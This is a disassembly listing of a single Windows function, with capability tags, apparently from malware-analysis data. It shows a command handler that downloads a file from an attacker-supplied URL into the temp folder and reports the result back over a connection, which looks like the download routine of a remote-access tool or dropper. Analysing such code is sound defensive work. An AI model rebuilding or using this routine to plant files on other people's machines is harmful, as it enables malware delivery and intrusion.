Function at 0x401b99
Capabilities:
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x244
mov dword [esp + 8], 4
mov dword [esp + 4], str.http
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strncmp
test eax, eax
jne 0x401e04
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sym._GetTempPathA_8
sub esp, 8
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401c25
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strlen
cmp eax, 1
jbe 0x401c25
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp + 4], eax
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._strcat
jmp 0x401c5b
lea eax, [ebp - 0x220]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x220]
add eax, edx
mov dword [eax], 0x6e776f64
mov dword [eax + 4], 0x64616f6c
mov byte [eax + 8], 0
mov dword [esp + 4], 0x407186
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x40706d
call sym._InternetOpenA_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._InternetOpenUrlA_24
sub esp, 0x18
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401db3
cmp dword [ebp - 0x14], 0
je 0x401db3
mov dword [ebp - 0x120], 0x3e7
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 1
jne 0x401d69
mov eax, dword [ebp - 0x120]
test eax, eax
je 0x401d69
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xff
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetReadFile_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x120]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._fwrite
jmp 0x401d03
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x220]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Saved_as__s_r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x401de6
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Download_failed_r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
jmp 0x401e37
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Invalid_URL_r_n
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
nop
mov edi, dword [ebp - 4]
leave
ret